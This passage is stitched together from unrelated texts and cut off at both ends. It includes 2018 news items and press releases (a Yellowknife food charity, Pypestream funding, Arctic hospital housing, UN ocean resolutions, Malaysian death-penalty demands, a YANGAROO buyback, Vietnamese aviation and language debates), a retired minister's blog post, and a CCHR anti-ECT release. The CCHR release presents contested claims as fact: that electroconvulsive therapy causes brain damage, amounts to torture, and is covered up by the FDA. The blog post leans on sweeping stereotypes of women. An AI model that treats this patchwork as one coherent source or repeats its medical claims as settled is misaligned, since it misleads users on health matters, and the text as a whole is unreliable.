money and publicity from the contest will help raise their profile in Yellowknife. The charity picks up food from grocery stores and accepts donations of food from individuals to hand out in the community. Over the course of the year, it collects about 150,000 kilograms of food, explained Marg Henderson, the volunteer kitchen manager for Food Rescue. "We've received a lot of very positive publicity over this," Henderson said. "So it's been great, because Food Rescue is not very well-known." The prize money comes from Engineers Canada, matching the roughly $5,000 that's already been raised by the team. Conversational AI Outfit Pypestream Raises $15M+ Conversational enterprise AI company Pypestream has garnered more than $15 million in new funding. Insurance company W.R. Berkley led the round. I was impressed by Pypestreams ability to upgrade the customer experience, said Michael Nannizzi, director of investments at W.R. Berkley and a member of Pypestreams board of directors. Pypestreams technology is helping companies improve their engagement and achieve important efficiencies through the use of its powerful conversational interface. Dhara Patel, president of Brown & Brown subsidiary American Claims Management, added: Pypestreams approach to conversational AI is a game changer for customer experience. I could see its application across a broad array of use cases. The new funding brings Pypestreams total funding to $35 million. Pypestream plans to invest the new money to expand its efforts in the financial services, insurance, telecom, and travel industries. The company declined to disclose other participants involved in and when it closed on the round. Pypestream says its solution transforms contact centers with enterprise conversational AI. This end-to-end, AI-based customer service solution delivers cost saving and allows for higher Net Promoter Scores and stronger brand loyalty, driving increased revenue, the company explains. The Pypestream product is called Design Studio. It allows businesses to create chatbots with authentication, API integrations, list pickers, carousels, and GIFs. Allianz, EY, Google, Shell, and sling television are among Pypestreams clients. G2 Crowd says Aivo, Drift, IBM Watson Assistant, Intercom, Manychat, and Zendesk Answer Bot are among Pypestreams key competitors. Using AI-based solutions to improve customer experiences is the focus of a new event called The Future of Work Expo. This new conference and expo from Technology Marketing Corp. will take place Jan. 30 through Feb. 1 in Fort Lauderdale, Fla. Click here for more information about The Future of Work Expo. Edited by Maurice Nagle UTQIAGVIK, Alaska, Dec. 20, 2018 (GLOBE NEWSWIRE) -- As the northern hemisphere welcomes its shortest day of the year, the remote Alaskan city of Utqiagvik welcomes physicians and medical staff for its newly-built regional hospital despite the areas critical housing shortage and its location 330 miles north of the Arctic Circle (or 200 miles north of the nearest tree, as an Utqiagvik local said). An alternative construction approach made it possible. Utqiagvik, known previously as Barrow, is home to the Samuel Simmonds Memorial Hospital, which opened in 2013. Managed by the Arctic Slope Native Association (ASNA), a non-profit tribal healthcare organization, the facility is the main healthcare support for the nearby Prudhoe Bay oil field. It also serves several surrounding communities. Clinicians and physicians drawn to work there are attracted by a sense of adventure, higher wages and the fact their student loans can be forgiven if they take a contract there. But there was a serious issue: staff couldnt come when there was nowhere to live. If we don't have housing available, we can't recruit for the positions, says Luke Wells, the hospitals vice president of finance. With no roads connecting the area to anywhere else and just one freighter arriving per year, the cost to build on the Arctic tundra is steep. Two years ago, local hospital executives decided to fix the problem of trying to build traditional temporary housing. Instead, they turned to DIRTT. DIRTTs digital construction approach uses a software platform that sees the design become an interactive 3D environment. Users virtually explore and change the design while getting immediate feedback on constructability and detailed cost. The software feeds directly to DIRTTs production facilities. In 21 days or less, the entire project is manufactured and shipped to site, where the preassembled components create a quick-connect construction site without material waste and with fewer on-site trades. Based on the value of this approach, DIRTT and its Alaskan partner, Paragon Interior Construction, were awarded a contract to build 16 residential units for the Utqiagvik hospitals medical staff, providing the community with its first and only adaptable answer to its housing crisis. It was also the only cost-effective solution able to meet the tight timelines and challenges of building in the extreme climate. The completed residences are 1200 square foot, three-bedroom units with a high-end fit and finish, plus built-in adaptability to accommodate the varying needs of rotating medical teams and their families. The interiors can be quickly and cleanly renovated to suit any resident. They're focused primarily on families, but if we have two singlesmaybe two nurses living in one unitwe can dismantle the walls to make two large bedrooms, explained Wells. And we discovered, literally, when construction's going on in the unit next door, you can't hear it in the other unit. Marie Carroll is president and CEO of the Arctic Slopes Native Association, and owner of the hospital. Aware of the treatment rented homes often face, shes pleased with the prospect of being able to keep their housing fresh and in good condition for new tenants. There's an opportunity to reduce future costs of maintaining houses, says Carroll. I really like the fact we can create places that feel more like home for our staff. Its a long winter for some of them, so having a place where they can entertain and be part of the community helps them want to stay. For the full story, video and images, visit: http://bit.ly/Utquiagvikresidences 1985 Jesse Lake, my grand-mother captured my grand-father Walter's heart There are times when remarkable gems unexpectedly pop up in the secular media about the Christian church - that would never be tolerated in the Christian media - and this one hit me square in the eye - and a great secret truth is revealed. It's an old story. Many a short story and book has been written of it. It's a recurring theme in life and likewise in the church. At Seminary (Morling College, NSW Baptist) way back 41 years ago, an entire two hour class was devoted to it. It was emphasised again at the theological student 'marriage seminar'. This was something that the clergy needed to be aware of regardless of whether they were deemed handsome in the eyes of popular secular magazines (the types one reads while waiting for the doctor or dentist) handsomeness rarely had anything to do with this threat of one's ministry. Moreover the Bible is full of it. The Old Testament story of Joseph illustrates how he experienced its barbs and he ended up in prison. The New Testament's Letters of Paul and the Epistles can't leave the subject alone. Yes, you've guessed, for a surprising number of women involved in church life and here it is - the male minister, beyond rhyme or reason, is way too delicious an image to be left unaided. He requires all his manly needs to be met, satisfied and enriched moreover they are the one to engage in such a duty. It is undoubtedly God's work. Sydney 1941 the Tronson women done up to the nines From the secular media Similarly 5 year ago, Elizabeth Farrelly, a Sydney Morning Herald columnist, author, architecture critic and essayist whose recent article titled Women make church more rounded had this gem: It (the church) must make its spaces, its music, liturgy, vestments and the entire sacrament as hauntingly lovely and as sensual as possible, engaging time past and time future - the whole person. With such timely wisdom, Morling, the largest seminary in the nation with over 700 students, along with other theological colleges across Australia, would do well to have Elizabeth Farrelly address its Ordination students on such a subject. My wife Delma of 41 years and I, still speak of these issues from those distant seminary years, where we were not only alerted, but demonstrably warned that the 'church' is a drawing card, a sensual drawing card, a compelling and astonishingly powerful sexual force in some women, for which the utmost caution and alarm must be exercised by the minister. Many years ago a fellow minister from Melbourne, in another denomination, told us the story of such a woman in his congregation. This woman devised the most cunning intrigues to get him alone and unsuspectingly found himself cornered, sometimes out of ear shot of anyone nearby. She exercised every delicate sensual breath, double meaning phrases and gentle her touch on his suit or vestments and elsewhere too. On one occasion this woman had called for a home visit. The minister asked his wife to accompany him which she did. When the woman opened her front door they were both taken aback, for here she was in a most alluring outfit and a face done-up like a movie star. Her facial expression turned to utter annoyance when this woman saw that the Rector's wife had accompanied him. Elizabeth Farrelly's comments reveal her personal interest in that, which is loosely associated with the sacramental churches (Anglicans, Catholics, Orthodox and the like) where vestments and liturgy play an enormous part of church life. Tronson women grand-ma Jesse instructed her girls on femininity The non-conformist church The largest number of Australians who attend Christian worship are the non-conformists and Pentecostals. These clergy don't wear clerical garb or vestments but where the worship with music and song and the preaching of the Word is paramount. These are just as sensual and it would be silly to deny that many a non-conformist or Pentecostal minister has fallen into infidelity. Pentecostals are at greater risk as the men are regularly attired in tight fitting trousers and collarless shirts and other clothing which accentuates their manliness. Many women fall over themselves with intolerable inner passion for such a minister. Again, some years ago now, we were occasional visitors to a Pentecostal church where the pastor fell into infidelity. Strangely something told me something wasn't quite as it should be when this young woman was part of the youth leadership group (along with the pastor) taking the youth fellowship to a function in a nearby city. A couple of our children were going along. Even young women in such roles don't get done up to the nine-tails for a combined churches youth concert, but I nearly fell over when I saw her, she had gone to an extraordinary length. Since Joseph, this has been a major issue for male clergy and the New Testament is replete with warnings. It just might be asking for trouble though if there is a deliberate policy by any church to make its spaces, its music, liturgy, vestments and the entire sacrament as hauntingly lovely and as sensual as possible, engaging time past and time future the whole person. 1985 family wedding this was a time to be looking good, men and women Dr Mark Tronson is a Baptist minister (retired) who served as the Australian cricket team chaplain for 17 years (2000 ret) and established Life After Cricket in 2001. He was recognised by the Olympic Ministry Medal in 2009 presented by Carl Lewis Olympian of the Century. He mentors young writers and has written 24 books, and enjoys writing. He is married to Delma, with four adult children and grand-children. Dr Tronson writes a daily article for Christian Today Australia (since 2008) and in November 2016 established Christian Today New Zealand. Mark Tronson's archive of articles can be viewed at http://www.pressserviceinternational.org/mark-tronson.html CLEARWATER, Fla., Dec. 20, 2018 (GLOBE NEWSWIRE) -- The mental health watchdog Citizens Commission on Human Rights (CCHR) International, established by the Church of Scientology and renowned psychiatrist Dr. Thomas Szasz in 1969, has launched an information blog on the dangers of electroconvulsive therapy (also known as electroshock treatment or ECT)the practice of sending up to 460 volts of electricity through the brain, damaging it in a brutal effort to alleviate depression. The TruthAboutECT.org blog site was created to bring about public awareness of the serious risks associated with ECT and allow survivors of the treatment or their family members, friends or doctors to share their stories warning about how damaging the practice is. CCHR International president, Ms. Jan Eastgate, said: ECT should be banned. The device used to administer it has never undergone clinical trials to prove it is safe and effective. Most people think ECT is no longer used, but an estimated 100,000 Americans and a million people worldwide are subjected to it, including the elderly, pregnant women and children, even younger than five years old. The fact that within a short period, more than 57,000 people signed our petition in support of a ban on ECT is an indication of the public outrage that it even exists. Click here to sign the petition. Eastgate said the blog offers people a forum to submit articles, stories and video testimony about how ECT harms lives, especially evidence of severe memory loss and brain damage. In this way, they can join the movement to ban this abhorrent and torturous practice, she added. She said equating ECT with torture is supported by decades of evidence, including several United Nations reports from the Special Rapporteur on Torture and Other Cruel, Inhuman or Degrading Treatment or Punishment and the UN Human Rights Council (HRC) that have supported a ban on all forced medical interventions against persons with disabilities, including the administration of electroshock, psychosurgery, and mind-altering drugs. [1] HRC put it more strongly earlier this year. According to its Mental health and human rights report , countries should reframe and recognize these practices as constituting torture or other cruel, inhuman or degrading treatment or punishment. [2] Speak Out: Electroshock Causes Brain Damage Eastgate said the blog can be used to speak out against ECT. She charged the FDA with covering up the brain damage ECT causes in order to protect a $5 billion a year electroshock industry in the U.S. alone. In December 2015, the FDA proposed that the ECT device risk classification be reduced to make it more available, which the American Psychiatric Association (APA) supported. In fact, in a letter to the FDA, the APA wanted more children to receive electroshock, stating that having access to it is especially meaningful in children and adolescents, despite potential harm to their developing brains and bodies. In 2001, an APA Task Force report on ECT even recommended that brain damage should not be included in the ECT consent form as a potential risk of treatment. As such, the term has almost disappeared from psychiatric literature or nomenclature regarding ECT. Nowhere in the FDAs 2015 proposal to reduce the risk classification of ECT devices does it mention brain damage, CCHR informs. [3] [4] ECT Device Maker Admits Permanent Brain Damage Yet, recently faced with a legal challenge to ECT causing such damage, one U.S. ECT device manufacturer issued a warning in its new ECT risk disclosures that there is a risk of permanent brain damage. Click here to read more about legal cases involving ECT. [5] [6] But ECT works, according to psychiatrists by causing seizures. Most neurologists regard it as self-evident that epileptic seizures cause brain damage and that all injury to an intact brain is harmful. And while psychiatrists might claim that the newer ECT procedures and devices lessen the risk of damage, Dr. Kenneth Castleman, a biomedical engineer who has served on the faculty at Caltech and The University of Texas and on the research staff at USC and UCLA, has provided evidence that the newer models of the ECT device actually elevate the risk of brain damage. [7] [8] CCHR encourages as many ECT survivors and their family or friends to write in support of a ban and share their experiences on TruthAboutECT.org . It also encourages medical professionals, including psychiatrists opposed to ECT, to submit articles and blogs. About CCHR: Initially established by the Church of Scientology and renowned psychiatrist Dr. Thomas Szasz in 1969, CCHRs mission is to eradicate abuses committed under the guise of mental health and enact patient and consumer protections. L. Ron Hubbard, founder of Scientology, first brought psychiatric imprisonment to wide public notice: Thousands and thousands are seized without process of law, every week, over the free world tortured, castrated, killed. All in the name of mental health, he wrote in March 1969. For more information visit www.cchrflorida.org . References: [1] A/HRC/22/53, "Report of the Special Rapporteur on torture and other cruel, inhuman or degrading treatment or punishment, Juan E. Mendez," United Nations, General Assembly, Human Rights Council, Twenty-second Session, Agenda Item 3, 1 Feb. 2013. [2] Mental Health and Human Rights, United Nations Human Rights Council, 39th session; 1028 Sept. 2018, https://www.ohchr.org/Documents/Issues/MentalHealth/A_HRC_39_36_EN.pdf . [3] Letter to Robert M. Califf, M.D., Commissioner, U.S. Food and Drug Administration, from the American Psychiatric Association, March 10, 2016, https://psychiatry.org/File%20Library/Psychiatrists/Advocacy/Federal/APA-FDA-ECT-reclassification-comments-03102016.pdf. [4] American Psychiatric Association Committee on Electroconvulsive Therapy. (2001). The practice of electroconvulsive therapy: Recommendations for treatment, training, and privileging: A task force report of the American Psychiatric Association (2nd ed.). Arlington, VA, US: American Psychiatric Association, p. 102. [5] Jose Riera and Deborah Chase, individually and on behalf of all others similarly situation, v. MECTA Corporation; Somatics, LLC, Case No.: 2:17-cv-06686 RGK(PJWx), United States District Court Central District of California, Sept. 11, 2017. [6] http://www.thymatron.com/downloads/System_IV_Regulatory_Update.pdf . [7] Thomas Szasz, M.D., Coercion as Cure: A Critical History of Psychiatry,(Transaction Publications, 2010) p. 135. [8] Jonathon Emord, Rick Moxon, Citizens Petition on ECT presented to the FDA Commissioner, 2016, http://emord.com/blawg/wp-content/uploads/2016/08/1-ECT-Citizen-Petition.pdf , p. 40. Media Contact: Diane Stein President, CCHR Florida 727-442-8820 diane@cchrflorida.org www.cchrflorida.org Russia has confirmed that the United States of America has decided to cancel the Intermediate-Range Nuclear Forces (INF) Treaty signed between Russian and the USA in 1987. The USA had already announced the withdrawal decision from the INF treaty in October 2018. About INF Treaty: The INF Treaty was signed in 1987 between US President Ronald Reagan and USSR President Mikhail Gorbachev. The treaty aimed to end arms race between USA and USSR during cold war and to ensure some strategic stability in Europe. The INF treaty banned the development, testing and possession of short and medium-range ground-launched nuclear missiles having ranger between 500-5,000 km. Also, all the nuclear and conventional missiles, as well as their launchers, with ranges of 5001,000 km or (short-range) and 1,0005,500 km (intermediate-range) were banned under this treaty. The Treaty proved to be a potent deterrent against any full-scale nuclear war in Europe. Almost 3,000 existing weapons were dismantled and destroyed after the signing of this treaty. Russia has warned to take retaliatory measures and to counter any aggression if its security gets threatened after the US pulling out of the INF treaty. World News: UNGA adopts resolution on oceans and seas, stresses their role in 2030 agenda by Catherine Benson Wahlen December 20,2018 | Source: IISD The UN General Assembly (UNGA) adopted two texts on oceans and seas, with several speakers affirming the central role of healthy oceans and seas in achieving the SDGs. Member States described efforts to tackle marine plastic pollution, and expressed concern about the impacts of climate change on the worlds oceans. The UNGA adopted the Resolution, Oceans and the Law of the Sea (A/73/L.35), by a recorded vote with 121 Member States in favor and 1 against (Turkey) as well as three abstentions (Colombia, El Salvador and Venezuela). Singapore introduced the text, saying it takes stock of activities at the International Seabed Authority (ISA), including efforts on regulations for exploitation of mineral resources, as well as a range of additional issues, such as capacity building and peaceful resolution of disputes. The Oceans and the Law of the Sea Resolution describes efforts to elaborate the text of an international legally binding instrument under the UN Convention on the Law of the Sea (UNCLOS) on the conservation and sustainable use of marine biodiversity. The Resolution further calls on States: to become parties to the Agreement for the Implementation of the Provisions of UNCLOS, if they have not yet done so; and to harmonize their national legislation with the provisions of UNCLOS. The UNGA also adopted a Resolution, Sustainable Fisheries, Including through the 1995 Agreement for the Implementation of the Provisions of the UNCLOS of 10 December 1982 Relating to the Conservation and Management of Straddling Fish Stocks and Highly Migratory Fish Stocks, and Related Instruments (A/73/L.41). Norway, which introduced the Resolution, said it represents a step forward in the conservation and management of fish stocks. She highlighted the Resolutions emphasis on combating illegal fishing, addressing fishing overcapacity, promoting the sustainability of small-scale fisheries and ensuring decent working conditions in fisheries and other maritime sectors, and underscored the importance of sustainable fisheries in global food and nutrition security. Without a dramatic shift in human behavior, oceanographic processes that moderate the global climate may be altered. In the Resolution, the UNGA reaffirms the importance of long-term conservation, management and sustainable use of living marine resources of the worlds oceans and seas, and calls on States to cooperate in support of these ends. The UNGA urges States to increase their reliance on scientific advice in developing, adopting and implementing conservation and management measures. Following the adoption of the two resolutions, Turkey said his country opposed references to UNCLOS in the resolutions, stressing that the Convention is neither universal nor has a unified character. Venezuela also stressed that UNCLOS does not have universal participation, and said it should not be considered the only legal instrument governing the sea. Singapore stressed its commitment to the law of the sea, emphasizing the importance of a multilateral rules-based system in securing the sustainability of oceans, seas and their resources. Iceland said the resolutions highlight the universal and unified character of the Convention, observing that sustainable natural resource management is fundamental to our success. On oceans and the SDGs, Tuvalu, on behalf of the Pacific small island developing States (PSIDS), described the role of healthy, productive and resilient oceans and seas in poverty eradication, access to safe and nutritious food, ecosystem services and economic development. Jamaica, on behalf of the Caribbean Community (CARICOM), said the fate of SIDS is integrally linked to the oceans health, and described CARICOM member States efforts to ban single-use plastics and support sustainable fishing practices. Monaco also shared efforts to restrict single-use plastics, and called for policy changes at the local level to tackle plastic pollution. Norway shared her countrys commitment to promote clean and healthy oceans. Japan supported efforts to address illegal, unregulated and unreported (IUU) fishing, encouraging other countries to join the Agreement on Port State Measures. Kuwait underscored protection of the oceans and seas as critical to achieving the SDGs. The EU said harmful fisheries subsidies contribute to overcapacity, overfishing and IUU fishing and are a key impediment to achieving sustainable fisheries. She emphasized the EUs commitment to concluding negotiations on fisheries subsidies in the context of the World Trade Organization (WTO) in line with SDG target 14.6 that aims to prohibit certain forms of fisheries subsidies that contribute to IUU fishing by 2020. Bangladesh also supported completing the WTO negotiations on fisheries subsidies that address overcapacity and illegal fishing, underscoring their importance to achieving the SDGs. The US expressed concerns over the references to the WTO in the draft, saying the UN should respect the mandate of other institutions, but said her country would join consensus on the draft to reflect the importance the US places on sustainable fisheries. Several delegates expressed concern on the impact of climate change on marine biodiversity, including Iceland. Nauru, on behalf of the Pacific Islands Forum (PIF), identified climate change as the single greatest threat to the livelihood, security and well-being of Pacific peoples. Maldives underscored the impact of climate change, stressing that, without a dramatic shift in human behavior, oceanographic processes that moderate the global climate may be altered. Highlights: - The Oceans and the Law of the Sea Resolution describes efforts to elaborate the text of an international legally binding instrument under UNCLOS on the conservation and sustainable use of marine biodiversity. - Norway said the resolution on sustainable fisheries represents a step forward in the conservation and management of fish stocks. - The EU said that harmful fisheries subsidies contribute to overcapacity, overfishing and IUU fishing, and emphasized the EUs commitment to concluding negotiations on fisheries subsidies in line with SDG target 14.6. KUALA LUMPUR, Dec 18 A coalition of Muslim groups have demanded that Putrajaya rescind the moratorium on the death penalty, so it could be used against the murderers of slain firefighter Muhammad Adib Mohd Kassim. In a press conference, Gerakan Pembela Ummah said those found guilty should hang under Section 302 of the Penal Code, which stipulates the capital punishment for murder. The police must investigate this matter quickly and bring justice to those guilty of murdering the late Muhammad Adib. The Attorney General must charge those responsible without favouring anyone under Section 302 of the Penal Code, said its chairman Aminuddin Yahaya, who is also the deputy president of Islamist group Ikatan Muslimin Malaysia (Isma). In addition, Ummah also demanded that two federal ministers and a Selangor executive councillor be arrested immediately, for allegedly inciting racial hatred and subsequently causing Adibs death. It claimed minister in charge of racial unity P. Waytha Moorthy, Human Resource Minister M. Kulasegaran, and Selangor exco V. Ganabatirau should be investigated and charged under the Sedition Act. This is to be read together with Section 3(1)(e) for spreading bad intentions, animosity and hatred among the races, Section 186 of the Penal Code for obstructing the duties of civil servants as well as Sections 505(b) and (c) of the Penal Code for issuing statements that caused friction between two religious communities. And they must resign immediately because they failed to handle this case leading to racial tension, said Aminuddin, who was accompanied by the leaders of around 30 other Muslim groups. Ummah also demanded for those who claimed a fire engine had run over Adib to apologise to the late fire fighters family and the Fire and Rescue Department. It also directed its ire against Agriculture and Agro-based Industries Minister Datuk Salahuddin Ayub, Health Minister Datuk Seri Dzulkefly Ahmad, and Selangor Mentri Besar Amirudin Shari for purportedly attempting to play down the incident. It said it will head to the Prime Ministers Office this Friday to hand a memorandum of that effect to Prime Minister Tun Dr Mahathir Mohamad. Our online petition calling for the resignation of Waytha Moorthy, Kulasegaran and Ganabatirau has received 200,000 signatures. This shows the people are behind us on this, he claimed. However, when asked if Ummah has lodged a police report against the trio, Aminuddin said no such thing has been done. | Report an error, an omission, a typo; suggest a story or a new angle to an existing story; submit a piece, a comment; recommend a resource; contact the webmaster, contact us: deathpenaltynews@gmail.com Opposed to Capital Punishment? Help us keep this blog up and running! DONATE! "One is absolutely sickened, not by the crimes that the wicked have committed, but by the punishments that the good have inflicted." -- Oscar Wilde TORONTO, Dec. 20, 2018 (GLOBE NEWSWIRE) -- YANGAROO Inc. (the Company) (TSX-V: YOO, OTC: YOOIF), the industry's leading secure digital media management and distribution company, is pleased to announce that the TSX Venture Exchange (the TSX-V) has accepted the Companys application for a normal course issuer bid (the "Bid") for up to 3,066,957 of its common shares (the "Shares"), representing 5% of the issued and outstanding shares of the Company. The Company has received approval from the TSX-V to commence the Bid on January 2, 2019 and to continue until December 31, 2019, or earlier in the event that the Company has acquired the maximum Shares that may be purchased under the Bid. The Company may also terminate the Bid earlier if it feels its appropriate to do so. The Bid will be made through the facilities of the TSX-V and the purchase and payment for the Shares will be made in accordance with TSX-V requirements at the market price of the Shares at the time of acquisition. All Shares purchased by the Company under the Bid will be cancelled. The Company has engaged Echelon Wealth Partners as its broker to conduct the Bid transactions. Management of the Company believes that the Shares have been trading in a price range which does not adequately reflect their value and that the purchase of the Shares under the Bid is in the best interests of the Company, a desirable use of its available cash, and will enhance shareholder value in general. To the knowledge of the Company, no director, senior officer or other insider of the Company currently intends to sell any Shares under the Bid. About YANGAROO: YANGAROO is a company dedicated to digital media management. YANGAROOs patented Digital Media Distribution System (DMDS) is a leading secure B2B digital cloud-based solution focused on the music and advertising industries. The DMDS solution provides more accountable, effective, and far less costly digital management of broadcast quality media via the Internet. It replaces the physical, satellite and closed network distribution and management of audio and video content, for music, music videos, and advertising to television, radio, media, retailers, and other authorized recipients. The YANGAROO Awards platform is now the industry standard and powers most of North Americas major awards shows. YANGAROO has offices in Toronto, New York, and Los Angeles. YANGAROO trades on the TSX Venture Exchange (TSX-V) under the symbol YOO and in the U.S. under OTCBB: YOOIF. For YANGAROO Investor Inquiries: Gary Moss Phone: (416) 534-0607 gary.moss@yangaroo.com Cautionary Note Regarding Forward-looking Statements This news release contains certain forward-looking statements and forward-looking information (collectively referred to herein as "forward-looking statements") within the meaning of applicable Canadian securities laws. All statements other than statements of present or historical fact are forward-looking statements. Forward-looking statements are often, but not always, identified by the use of words such as "anticipate", "achieve", "could", "believe", "plan", "intend", "objective", "continuous", "ongoing", "estimate", "outlook", "expect", "may", "will", "project", "should" or similar words, including negatives thereof, suggesting future outcomes. Forward looking statements are subject to both known and unknown risks, uncertainties and other factors, many of which are beyond the control of YANGAROO, that may cause the actual results, level of activity, performance or achievements of YANGAROO to be materially different from those expressed or implied by such forward looking statements, including but not limited to: the use of proceeds of the offering, receipt of all necessary approvals of the offering, general business, economic, competitive, political and social uncertainties; negotiation uncertainties and other risks of the technology industry. Although YANGAROO has attempted to identify important factors that could cause actual results to differ materially from those contained in forward-looking statements, there may be other factors that cause results not to be as anticipated, estimated or intended. Forward-looking statements are not a guarantee of future performance and involve a number of risks and uncertainties, some of which are described herein. Such forward-looking statements necessarily involve known and unknown risks and uncertainties, which may cause YANGAROOs actual performance and results to differ materially from any projections of future performance or results expressed or implied by such forward-looking statements. Any forward-looking statements are made as of the date hereof and, except as required by law, neither YANGAROO assumes no obligation to publicly update or revise such statements to reflect new information, subsequent or otherwise. But I dont want to go among mad people," Alice remarked. "Oh, you cant help that," said the Cat: "were all mad here. Im mad. Youre mad." "How do you know Im mad?" said Alice. "You must be," said the Cat, "or you wouldnt have come here. Lewis Carroll, Alice in Wonderland With freedom comes responsibility. Eleanor Roosevelt The low-cost airline wants to operate 4-6 flights a day to Con Dao Island from Hanoi and HCMC. Vietjet Air has requested the Airports Corporation of Vietnam (ACV), the corporation in charge of all of Vietnams airports, for permission to operate air routes to the Con Dao airport in southern Ba Ria Vung Tau Province. Vietjet Air said that the company has agreed with its partners to provide two or three Airbus A319 carriers, that can seat 160 passengers, for the proposed flights to Con Dao. The routes Vietjet is proposing are Hanoi Con Dao and HCMC Con Dao with four to six flights a day. Currently Vietnam Air Services Company (VASCO), a subsidiary of national carrier Vietnam Airlines, is the only company operating flights between Con Dao airport, HCMC and southern Can Tho City using ATR-72 aircraft, which are smaller aircraft that can seat 78 passengers. VASCO operates 20 flights a day on these routes. Currently, Con Dao Airport is only licensed to operate smaller commercial planes such as the ATR-72 and to run 12 hours a day. The airport cannot operate after dark because it lacks a runway lighting system. The airport can accommodate 400,000 passengers per year. In late April, Deputy Minister of Transport Le Dinh Tho discussed with the Ba Ria-Vung Tau People's Committee a development plan for Con Dao airport until 2020, with orientation until 2030. Accordingly, Con Dao Airport will be upgraded to be able to host bigger commercial turbojets. Additional terminals may be constructed to handle 2 million passengers per year. The International Civil Aviation Organization (ICAO) license upgrade will be a crucial precondition for Vietjet to be able to carry out its plans to operate A319 at Con Dao airport. Con Dao Island, a favored tourism destination in Vietnam, welcomed 286,171 visitors in the first 11 months of this year, up 17.31 percent from a year ago, according to the Con Dao National Park Management Board. Foreign buyers are showing interest in the stakes of PV Oil. Photo by Reuters Vietnams second-largest oil retailer, PV Oil, is seeking multiple buyers, instead of a single strategic investor, for a 44.72 percent stake. Although many investors expressed interest in becoming strategic partners with PetroVietnam Oil (PV Oil), including British-Dutch oil company Shell, South Koreas SK Energy, and Idemitsu, a Japanese petroleum company, complicated administrative procedures have discouraged them, analysts say. PV Oil requires a strategic partner to hold the stake for at least 10 years. According to a new and revised divestment plan for PV Oil, the company is expected to raise at least $300 million from the divestment, the Nikkei Asian Review quoted Cao Hoai Duong, CEO of PV Oil, as saying. The bidding is expected to start in 2019. Last December, Deputy Prime Minister Vuong Dinh Hue had approved that state-owned PetroVietnam, the parent company of PV Oil, would reduce its ownership in PV Oil to 35.1 percent by selling a 44.72 stake to strategic investors. In January this year, VND4.18 trillion ($184 million) was raised through the sale of a 20 percent stake in PV Oil in an initial public offering (IPO). Vietnam maintains a 49 percent cap on foreign ownership limit in PV Oil. PV Oil runs 540 filling stations on its own and has about 3,000 locations operated by agents, mostly in northern Vietnam, as well as about 120 gas stations in Laos. PetroVietnam is one of the three biggest state-owned groups in Vietnam and a major contributor to state coffers. English as an official language in Vietnam: would it work? Opinion is not divided on the desirability of learning English, but making it an official language is easier said than done. At the Youth Entrepreneurship Forum 2018 last month, Minister of Information and Communication Nguyen Manh Hung suggested that the Prime Minister should soon recognize English as the second official language of Vietnam to help startups reach out to the world. The proposal stirred a heated discussion on social media and prompted numerous professionals to pitch in with their views and opinions. While some welcomed the idea and supported widespread use of the language in Vietnam, others were wary of the cultural, legal and other implications of formalizing it as an official language. Everyone agreed that it was good to improve English use and fluency in the country, so the debate boiled down to whether declaring and using it as an official language was a feasible, practical option for Vietnam. Professor Chung Hoang Chuong, who has juggled teaching at the University of California and doing research in Vietnam, was optimistic about Vietnam having two official languages. Chuong, currently a senior researcher at the University of Social Sciences and Humanities in Ho Chi Minh City, told VnExpress International: "When you have English skills, you are more marketable. You will be able to catch up with world news, which translates into knowledge and power. "English usage in Vietnam is already happening. Look at cafe menus, building names, there are even young Vietnamese people sitting in a Starbucks shooting English at each other." Chuongs argument was the current linguistic climate in Vietnam would facilitate English being made the second language. Management and Investment consultant Adam Edermo, who has been working in Southeast Asian markets for 12 years, also welcomed the initiative. "An effort to make the population of Vietnam bilingual will be largely welcomed by, I believe, both the domestic and international business community. "It would make the Vietnamese workforce more competitive, domestically for investors, as well as enable Vietnam's workforce to enter foreign markets," Edermo said. The Swedish business professional said that 10 years ago, hed conducted 100 hour-long interviews in Vietnam with senior executives of multinational and international businesses across different industries and business sectors. "One of the goals was to identify challenges in leading a business in Vietnam. The level of English among employees was cited more often than any other issue," he said, emphasizing that this was no longer the case, at least in the sectors and urban environment that hes involved in. He explained that while it might be difficult to meet the demand for English-speaking professionals like lawyers, doctors and engineers, this was not true of the hospitality or advertising industries. Yes, but... Other experts were not so sure that declaring English an official language was such a good idea. Vu Thi Phuong Anh, deputy director (Academic) of Education Quality Training and Support Center (EQTS) of the Association of Vietnam Universities and Colleges, told Thanh Nien newspaper: "Its not that we just announce it, and the world will give us recognition. For a language to be seen as official in a country, it must at least be an administrative and legal language and be used in all public services." Anh had voiced her opinion on this issue in 2016, when the Ministry of Education and Training set a roadmap to making English a second language in Vietnam. She also expressed concern about the amount of money the education ministry would pour into textbooks if English was to become the medium of instruction in schools. She felt this will be an opportunity for interest groups to step in. She wondered whether Vietnamese authors would write textbooks in English and if they had the ability to do so. She also questioned how this would work across all 63 provinces and cities in the country. "Interest groups are those who deem themselves the best. And we have to worry when they are the evaluators of their own work," she said. A foreigner teaches English to Vietnamese students of an English center at an open park in HCMC. The outdoor class is held every Sunday afternoon. Photo by VnExpress/ Thanh Nguyen No threat to Vietnamese language Responding to another concern, that having English as an official language could undermine Vietnamese language and culture, Prof. Chuong said this would never happen. He referred to the historical struggles that the Vietnamese language has gone through, including more than 1,000 years of Chinese and 100 years of French colonization. "No language has managed to threaten Vietnamese language," he asserted. Even if students were to learn most subjects in English, the language used in the family and in other daily life activities would be Vietnamese, he said. Furthermore, the nations charter states that the national language is Vietnamese, he noted. "The government should support other language choices for learning," he said. Legal aspects The question then arises whether making English the second official language requires a constitutional amendment. Lecturer Luu Duc Quang pointed to the Constitution of the Socialist Republic of Vietnam, which says that the national language is Vietnamese. An expert in constitutional law and administrative law from the University of Economics and Law at Vietnam National University in Ho Chi Minh City, Quang said that the development of English into an official language must be recognized by the constitution. "This is not something the Prime Minister can decide but only the National Assembly can," he said. Quang suggests that Vietnam can promote the use of the language from a different approach other than a legal one. "Recognizing a language as an official one requires a lot of time as it must start from amending the Constitution. Thats not easy. We can start from issuing laws and policies to encourage English usage in office and daily life instead," he told VnExpress International. ASEAN examples Southeast Asian countries like Brunei Darussalam, the Philippines, and Singapore have adopted English as their official language, but theyve had a colonial association with the language. In the absence of such long-standing association with the language, imposition of a foreign language as an official language can be problematic. Taiwan recently announced that it will make English an official second language in 2019. However, this has led to heated debate, because "it is almost mission impossible and lacks historical significance," Tammy Huei-Lien Hsu, Assistant Professor of English Literature and Language at Taiwans Fu-Jen Catholic University told VnExpress International. She said Taiwan is an EFL (English as Foreign Language) territory because Taiwanese learnt the language due to the U.S. dominant role in economics and business. In such a situation, learning English enhanced ones qualification and professionalism, she said. However, countries like Singapore, India and Kenya are ESL countries (English as a Second Language) where English is used as the result of colonization. While students learn the English language, they also learn why English is part of their cultures in relation to British colonizer. Furthermore, English is not only used for international communication, but 